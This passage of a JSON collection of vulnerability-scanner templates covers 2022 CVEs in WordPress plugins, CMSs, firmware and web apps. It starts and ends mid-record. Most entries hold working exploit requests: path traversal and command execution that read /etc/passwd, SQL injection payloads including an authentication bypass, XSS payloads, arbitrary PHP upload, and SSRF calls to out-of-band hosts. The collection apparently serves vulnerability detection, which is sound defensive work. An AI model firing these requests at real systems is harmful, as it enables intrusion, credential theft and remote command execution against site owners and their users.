application/x-www-form-urlencoded\n\nurl=../../../../../../../../../../../../etc/passwd\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-26960","info":{"name":"elFinder <=2.1.60 - Local File Inclusion","severity":"critical"},"requests":[{"raw":["GET /elfinder/php/connector.minimal.php?cmd=file&target=l1_<@base64>/var/www/html/elfinder/files//..//..//..//..//..//../etc/passwd<@/base64>&download=1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-2379","info":{"name":"WordPress Easy Student Results <=2.2.8 - Improper Authorization","severity":"high"},"requests":[{"raw":["GET /wp-json/rps_result/v1/route/student_fields HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-json/rps_result/v1/route/search_student?department_id=1&batch_id=1 HTTP/1.1\nHost: {{Hostname}}\n"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_1","words":["\"departments\":","batches\":"],"condition":"and"},{"type":"word","part":"body_2","words":["meta_data","\"name\":\"","\"registration_no\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-33174","info":{"name":"Powertek Firmware <3.30.30 - Authorization Bypass","severity":"high"},"requests":[{"raw":["GET /cgi/get_param.cgi?xml&sys.passwd&sys.su.name HTTP/1.1\nHost: {{Hostname}}\nCookie: tmpToken=;\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["",""]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":["([A-Z0-9a-z]+)<\\/sys\\.passwd>","([a-z]+)<\\/sys\\.su\\.name>"],"part":"body"}]}]},{"id":"CVE-2022-29383","info":{"name":"NETGEAR ProSafe SSL VPN firmware - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /scgi-bin/platform.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=utf-8\n\nthispage=index.htm&USERDBUsers.UserName=NjVI&USERDBUsers.Password=&USERDBDomains.Domainname=geardomain'+AND+'5434'%3d'5435'+AND+'MwLj'%3d'MwLj&button.login.USERDBUsers.router_status=Login&Login.userAgent=MDpd\n","POST /scgi-bin/platform.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=utf-8\n\nthispage=index.htm&USERDBUsers.UserName=NjVI&USERDBUsers.Password=&USERDBDomains.Domainname=geardomain'+AND+'5434'%3d'5434'+AND+'MwLj'%3d'MwLj&button.login.USERDBUsers.router_status=Login&Login.userAgent=MDpd\n"],"matchers":[{"type":"dsl","dsl":["contains(body_1, \"User authentication Failed\")","contains(body_2, \"User Login Failed for SSLVPN User.\")"],"condition":"and"}]}]},{"id":"CVE-2022-30512","info":{"name":"School Dormitory Management System 1.0 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/dms/admin/accounts/payment_history.php?account_id=2%27"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Fatal error","Uncaught Error: Call to a member function fetch_assoc()","Month of"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-34590","info":{"name":"Hospital Management System 1.0 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /hms/admin/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername=admin%27+or+%271%27%3D%271%27%23&password=admin%27+or+%271%27%3D%271%27%23&submit=\n"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Admin | Dashboard","Manage Patients","Manage Doctors"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-36553","info":{"name":"Hytec Inter HWL-2511-SS - Remote Command Execution","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","GET /cgi-bin/popen.cgi?command={{command}}&v=0.1303033443137912 HTTP/1.1\nHost: {{Hostname}}\n"],"payloads":{"command":["cat%20/etc/passwd","type%20C://Windows/win.ini"]},"stop-at-first-match":true,"matchers-condition":"or","matchers":[{"type":"dsl","dsl":["regex('root:.*:0:0:', body)","contains(body_1, 'index')","status_code == 200"],"condition":"and"},{"type":"dsl","dsl":["contains(body, 'bit app support')","contains(body, 'fonts')","contains(body, 'extensions')","status_code == 200","contains(body_1, 'index')"],"condition":"and"}]}]},{"id":"CVE-2022-46443","info":{"name":"Bangresto - SQL Injection","severity":"high"},"requests":[{"raw":["POST /bangresto-main/staff/process.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nusername={{username}}&password={{password}}\n","POST /bangresto-main/staff/insertorder.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded;\n\nitemID[]=1&itemqty[]=2 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a7a6b71,md5({{num}}),0x7178717a71,0x78))s), 8446744073709551610, 8446744073709551610)))&sentorder=Sent to kitchen\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["{{md5({{num}})}}"]}]}]},{"id":"CVE-2022-44948","info":{"name":"Rukovoditel <= 3.2.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=entities/entities_groups&action=save&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=0\n"],"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-0826","info":{"name":"WordPress WP Video Gallery <=1.7.1 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 15s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=wp_video_gallery_ajax_add_single_youtube&url=http://oast.me/?x%26v=1%2522 AND (SELECT 1780 FROM (SELECT(SLEEP(6)))uPaz)%2523\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"Registred videos :\")"],"condition":"and"}]}]},{"id":"CVE-2022-3934","info":{"name":"WordPress FlatPM <3.0.13 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","@timeout: 10s\nGET /wp-admin/admin.php?page=blocks_form&block_cat_ID=1%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29%2F%2F HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, \"alert(document.domain)\") && contains(body_2, \"Flat PM\")"],"condition":"and"}]}]},{"id":"CVE-2022-1392","info":{"name":"WordPress Videos sync PDF <=1.7.4 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p=tout"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["failed to open stream: No such file or directory","REPERTOIRE_VIDEOSYNCPDFreglages/Menu_Plugins/tout.php"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-42095","info":{"name":"Backdrop CMS version 1.23.0 - Cross Site Scripting (Stored)","severity":"medium"},"requests":[{"raw":["GET /?q=user/login HTTP/1.1\nHost: {{Hostname}}\n","POST /?q=user/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nname={{username}}&pass={{password}}&form_build_id={{form_id_1}}&form_id=user_login&op=Log+in\n","GET /?q=node/add/page HTTP/1.1\nHost: {{Hostname}}\n","POST /?q=node/add/page HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ntitle={{randstr}}&body%5Bund%5D%5B0%5D%5Bsummary%5D=&body%5Bund%5D%5B0%5D%5Bvalue%5D=%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E%0D%0A&body%5Bund%5D%5B0%5D%5Bformat%5D=full_html&changed=&form_build_id={{form_id_2}}&form_token={{form_token}}&form_id=page_node_form&status=1&scheduled%5Bdate%5D=2023-04-14&scheduled%5Btime%5D=21%3A00%3A54&name=admin&date%5Bdate%5D=2023-04-13&date%5Btime%5D=21%3A00%3A54&path%5Bauto%5D=1&menu%5Benabled%5D=1&menu%5Blink_title%5D=test&menu%5Bdescription%5D=&menu%5Bparent%5D=main-menu%3A0&menu%5Bweight%5D=0&comment=1&additional_settings__active_tab=&op=Save\n","POST /?q={{randstr}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_5 == 200","contains(header_5, 'text/html')","contains(body_5, \"\")","contains(body_5, 'Backdrop CMS')"],"condition":"and"}],"extractors":[{"type":"regex","name":"form_id_1","group":1,"regex":["name=\"form_build_id\" value=\"(.*)\""],"internal":true},{"type":"regex","name":"form_id_2","group":1,"regex":["name=\"form_build_id\" value=\"(.*)\""],"internal":true},{"type":"regex","name":"form_token","group":1,"regex":["name=\"form_token\" value=\"(.*)\""],"internal":true}]}]},{"id":"CVE-2022-2546","info":{"name":"WordPress All-in-One WP Migration <=7.62 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=ai1wm_export HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bnew_value%5D%5B%5D=XSSPAYLOAD%3Csvg+onload=alert(document.domain)%3E&ai1wm_manual_export=1&secret_key={{secretkey}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(header_3, \"text/html\")","status_code_3 == 200","contains(body_3, '{\\\"new_value\\\":[\\\"XSSPAYLOAD')"],"condition":"and"}],"extractors":[{"type":"regex","name":"secretkey","group":1,"regex":["ai1wm_feedback\"},\"secret_key\":\"([0-9a-zA-Z]+)\""],"internal":true}]}]},{"id":"CVE-2022-25487","info":{"name":"Atom CMS v2.0 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /admin/uploads.php?id=1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------30623082103363803402542706041\n\n-----------------------------30623082103363803402542706041\nContent-Disposition: form-data; name=\"file\"\n\n\n-----------------------------30623082103363803402542706041\nContent-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.php\"\nContent-Type: image/jpeg\n\n\n\n-----------------------------30623082103363803402542706041--\n","GET /uploads/{{filename}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(string)}}"]}],"extractors":[{"type":"regex","name":"filename","group":1,"regex":["SET avatar = '(.*?)'"],"internal":true}]}]},{"id":"CVE-2022-0954","info":{"name":"Microweber <1.2.11 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /api/user_login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","POST /api/save_option HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nReferer: {{BaseURL}}/admin/view:shop/action:options\n\noption_key=checkout_url&option_group=shop&option_value=%22%3E%3CiMg+SrC%3D%22x%22+oNeRRor%3D%22alert(document.domain)%3B%22%3E&module=shop%2Forders%2Fsettings%2Fother\n","POST /module/ HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nReferer: {{BaseURL}}/admin/view:shop/action:options\n\nmodule=settings%2Fsystem_settings&id=settings_admin_mw-main-module-backend-settings-admin&class=card-body+pt-3&option_group=shop%2Forders%2Fsettings%2Fother&is_system=1&style=position%3A+relative%3B\n"],"matchers":[{"type":"dsl","dsl":["contains(body_2,\"true\")","contains(body_3,'\\\">\\\" placeholder=\\\"Use default')","contains(header_3,\"text/html\")","status_code_3==200"],"condition":"and"}]}]},{"id":"CVE-2022-28032","info":{"name":"Atom CMS v2.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 20s\nGET /admin/ajax/pages.php?id=(sleep(6)) HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(body, \"Page Deleted\")"],"condition":"and"}]}]},{"id":"CVE-2022-27927","info":{"name":"Microfinance Management System 1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["GET /mims/updatecustomer.php?customer_number=-1'%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(md5({{num}}),1,2),NULL,NULL,NULL,NULL,NULL,NULL' HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-43170","info":{"name":"Rukovoditel <= 3.2.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=dashboard_configure/index&action=save&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&type=info_block&is_active=1§ions_id=0&color=default&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&icon=&description=&sort_order=\n"],"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-29153","info":{"name":"HashiCorp Consul/Consul Enterprise - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["PUT /v1/agent/check/register HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"id\":\"{{randstr}}\",\"name\":\"TEST NODE\",\"method\":\"GET\",\"http\":\"http://oast.me\",\"interval\":\"10s\",\"timeout\":\"1s\",\"disable_redirects\":true}\n","PUT /v1/agent/check/deregister/{{randstr}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["unknown field \"disable_redirects\""]},{"type":"status","status":[400]}]}]},{"id":"CVE-2022-38817","info":{"name":"Dapr Dashboard 0.1.0-0.10.0 - Improper Access Control","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/components/statestore","{{BaseURL}}/overview","{{BaseURL}}/controlplane"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Dapr Dashboard"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-3982","info":{"name":"WordPress Booking Calendar <3.2.2 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=------------------------1cada150a8151a54\n\n--------------------------1cada150a8151a54\nContent-Disposition: form-data; name=\"action\"\n\nwpdevart_form_ajax\n--------------------------1cada150a8151a54\nContent-Disposition: form-data; name=\"wpdevart_id\"\n\nx\n--------------------------1cada150a8151a54\nContent-Disposition: form-data; name=\"wpdevart_nonce\"\n\n{{nonce}}\n--------------------------1cada150a8151a54\nContent-Disposition: form-data; name=\"wpdevart_data\"\n\n{\"wpdevart-submit\":\"X\"}\n--------------------------1cada150a8151a54\nContent-Disposition: form-data; name=\"wpdevart-submit\"\n\n1\n--------------------------1cada150a8151a54\nContent-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.php\"\nContent-Type: application/octet-stream\n\n\n\n--------------------------1cada150a8151a54--\n","GET /wp-content/uploads/booking_calendar/{{randstr}}.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","part":"body_3","words":["{{md5(string)}}"]}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["var wpdevart.*\"ajaxNonce\":\"(.*?)\""],"internal":true}]}]},{"id":"CVE-2022-45038","info":{"name":"WBCE CMS v1.5.4 - Cross Site Scripting (Stored)","severity":"medium"},"requests":[{"raw":["GET /admin/login/index.php HTTP/1.1\nHost: {{Hostname}}\n","POST /admin/login/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nurl=&username_fieldname={{username_fieldname}}&password_fieldname={{password_fieldname}}&{{username_fieldname}}={{username}}&{{password_fieldname}}={{password}}&submit=Login\n","GET /admin/settings/ HTTP/1.1\nHost: {{Hostname}}\n","POST /admin/settings/save.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nadvanced=no&formtoken={{formtoken}}&website_footer=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_trash=inline&home_folders=true&intro_page=false&frontend_login=false&frontend_signup=false&submit=&default_language=EN&default_timezone=0&default_date_format=d.m.Y&default_time_format=H%3Ai&default_template=wbcezon&default_theme=wbce_flat_theme&search=public&search_template=&page_spacer=-&app_name={{app_name}}&sec_anchor=wbce_&wbmailer_default_sendername=WBCE+CMS+Mailer&wbmailer_routine=phpmail&wbmailer_smtp_host=&wbmailer_smtp_port=&wbmailer_smtp_secure=&wbmailer_smtp_username=&wbmailer_smtp_password=\n","GET /search/index.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Results For"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"username_fieldname","group":1,"regex":["name=\"username_fieldname\" value=\"(.*)\""],"internal":true,"part":"body"},{"type":"regex","name":"password_fieldname","group":1,"regex":["name=\"password_fieldname\" value=\"(.*)\""],"internal":true,"part":"body"},{"type":"regex","name":"formtoken","group":1,"regex":["name=\"formtoken\" value=\"(.*)\""],"internal":true,"part":"body"},{"type":"regex","name":"app_name","group":1,"regex":["name=\"app_name\" value=\"(.*?)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-0594","info":{"name":"WordPress Shareaholic <9.7.6 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=shareaholic_debug_info"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["plugin_version","shareaholic_server_reachable"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-47003","info":{"name":"Mura CMS <10.0.580 - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","GET /index.cfm/_api/json/v1/{{siteid}}/content/?fields=lastupdatebyid HTTP/1.1\nHost: {{Hostname}}\n","GET /admin/?muraAction=cEditProfile.edit HTTP/1.1\nHost: {{Hostname}}\nCookie: userid={{uuid}}; userhash=\n"],"redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body_3,\"\\\"userid\\\"\")"],"condition":"and"},{"type":"word","part":"body_3","words":["Edit Profile"]}],"extractors":[{"type":"regex","name":"siteid","group":1,"regex":["siteid:\"(.*?)\""],"internal":true,"part":"body"},{"type":"regex","name":"uuid","group":1,"regex":["\"lastupdatebyid\":\"([A-F0-9-]+)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-48197","info":{"name":"Yahoo User Interface library (YUI2) TreeView v2.8.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}{{paths}}"],"payloads":{"paths":["/libs/bower/bower_components/yui2/sandbox/treeview/up.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E","/libs/bower/bower_components/yui2/sandbox/treeview/sam.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E","/libs/bower/bower_components/yui2/sandbox/treeview/renderhidden.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E","/libs/bower/bower_components/yui2/sandbox/treeview/removechildren.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E","/libs/bower/bower_components/yui2/sandbox/treeview/removeall.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E","/libs/libs/bower/bower_components/yui2/sandbox/treeview/readd.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E","/libs/bower/bower_components/yui2/sandbox/treeview/overflow.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E","/libs/bower/bower_components/yui2/sandbox/treeview/newnode2.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E","/libs/bower/bower_components/yui2/sandbox/treeview/newnode.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"]},"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["1'\"()&%","widget.TreeView"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-37190","info":{"name":"Cuppa CMS v1.0 - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuser={{username}}&password={{password}}&language=en&task=login\n","POST /components/table_manager/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\npath=component%2Ftable_manager%2Fview%2Fcu_api_keys\n","POST /api/index.php HTTP/1.1\nHost: {{Hostname}}\nkey: {{apikey}}\nContent-Type: application/x-www-form-urlencoded\n\naction=system&function=exec&cmd=cat+/etc/passwd\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header_3","words":["text/html"]},{"type":"regex","regex":["postgres:.*:1001:","root:.*:0:0:"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"apikey","group":1,"regex":["(.*?)"],"internal":true}]}]},{"id":"CVE-2022-31976","info":{"name":"Online Fire Reporting System v1.0 - SQL injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nPOST /classes/Master.php?f=delete_request HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nid='+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"status\\\":\\\"success\\\"}\")"],"condition":"and"}]}]},{"id":"CVE-2022-0599","info":{"name":"WordPress Mapping Multiple URLs Redirect Same Page <=5.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=mmursp-list&view=edit&mmursp_id=\"> HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")"],"condition":"and"},{"type":"word","part":"body","words":["id=\"mmursp_id\" value=\"\\\">\" />"]}]}]},{"id":"CVE-2022-30777","info":{"name":"Parallels H-Sphere 3.6.1713 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index_en.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E","{{BaseURL}}/index.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","words":["\">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-3768","info":{"name":"WordPress WPSmartContracts <1.3.12 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","@timeout: 15s\nGET /wp-admin/edit.php?post_type=nft&page=nft-batch-mint&step=4&collection_id=1+AND+(SELECT+7741+FROM+(SELECT(SLEEP(7)))hlAf)&uid=1 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration_2>=7","status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"Batch Mint NFTs\")"],"condition":"and"}]}]},{"id":"CVE-2022-45269","info":{"name":"Linx Sphere - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/../../../../../../../../../../../../windows/iis.log"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Component Based Setup"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-43015","info":{"name":"OpenCATS 0.9.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /index.php?m=login&a=attemptLogin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","GET /ajax.php?f=getPipelineJobOrder&joborderID=2&page=0&entriesPerPage=15)\">%20&sortBy=dateCreatedInt&sortDirection=desc&indexFile=index.php&isPopup=0 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","MySQL Query Failed"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-41412","info":{"name":"perfSONAR 4.x <= 4.4.4 - Server-Side Request Forgery","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/perfsonar-graphs/cgi-bin/graphData.cgi?action=ma_data&url=http://oast.fun/esmond/perfsonar/archive/../../../&src=8.8.8.8&dest=8.8.4.4"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["

    Interactsh Server

    "]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-24260","info":{"name":"VoipMonitor - Pre-Auth SQL Injection","severity":"critical"},"requests":[{"raw":["POST /api.php HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\nmodule=relogin&action=login&pass=nope&user=a' UNION SELECT 'admin','admin',null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,1,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null; #\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["\"success\":true","_vm_version","_debug"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"kval","kval":["PHPSESSID"]}]}]},{"id":"CVE-2022-2290","info":{"name":"Trilium <0.52.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/custom/%3Cimg%20src=x%20onerror=alert(document.domain)%3E","{{BaseURL}}/share/api/notes/%3Cimg%20src=x%20onerror=alert(document.domain)%3E","{{BaseURL}}/share/api/images/%3Cimg%20src=x%20onerror=alert(document.domain)%3E/filename"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["No handler matched for custom ","Note '' not found"],"condition":"or"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[404]}]}]},{"id":"CVE-2022-31656","info":{"name":"VMware - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/SAAS/t/_/;/WEB-INF/web.xml"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""],"condition":"and"},{"type":"word","part":"header","words":["application/xml"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0150","info":{"name":"WordPress Accessibility Helper <0.6.0.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?wahi=JzthbGVydChkb2N1bWVudC5kb21haW4pOy8v"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["var wah_target_src = 